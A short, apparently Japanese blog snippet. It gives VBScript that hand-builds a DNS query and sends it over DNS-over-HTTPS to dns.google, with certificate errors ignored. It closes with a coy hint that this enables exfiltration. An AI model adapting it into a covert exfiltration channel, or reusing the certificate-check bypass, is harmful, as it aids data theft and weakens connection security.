Function CreateDnsQuery(domain) ' https://www.atmarkit.co.jp/ait/articles/1601/29/news014_2.html Dim xmldoc, node Set xmldoc = CreateObject("Msxml2.DOMDocument") Set node = xmldoc.CreateElement("binary") node.DataType = "bin.hex" ' ID |QR |QDCNT|ANCNT|NSCNT|ARCNT ' 00 00 01 00 00 01 00 00 00 00 00 00 header = "000001000001000000000000" ' Query query = "" Dim DomainArray : DomainArray = Split(domain, ".") For Each d in DomainArray dlen = Len(d) query = query & Right("0" & Hex(dlen), 2) For j = 1 To dlen query = query & Hex(AscB(Mid(d, j, 1))) Next Next EOQ = "00" ' Query Type ' A Record 00 01, IN 00 01 querytype = "00010001" node.Text = header & query & EOQ & querytype CreateDnsQuery = node.NodeTypedValue End Function Function DoH(domain) Dim url : url = "https://dns.google/dns-query" Set oxhr = CreateObject("MSXML2.ServerXMLHTTP") oxhr.Open "POST", url, False oxhr.setProxy 2, "localproxy:8080", "" ' For debug oxhr.setOption 2, 13056 ' Ignore certificate errors oxhr.setRequestHeader "Content-Type", "application/dns-message" oxhr.Send CreateDnsQuery(domain) Set oxhr = Nothing End Function DoH("www.example.com")
確認
一致した. ヨシ!
所感
- VBScriptは貧弱だといつから錯覚していた...？
- DoHも使えるようになったのでこれでExf...ゲフンゲフン
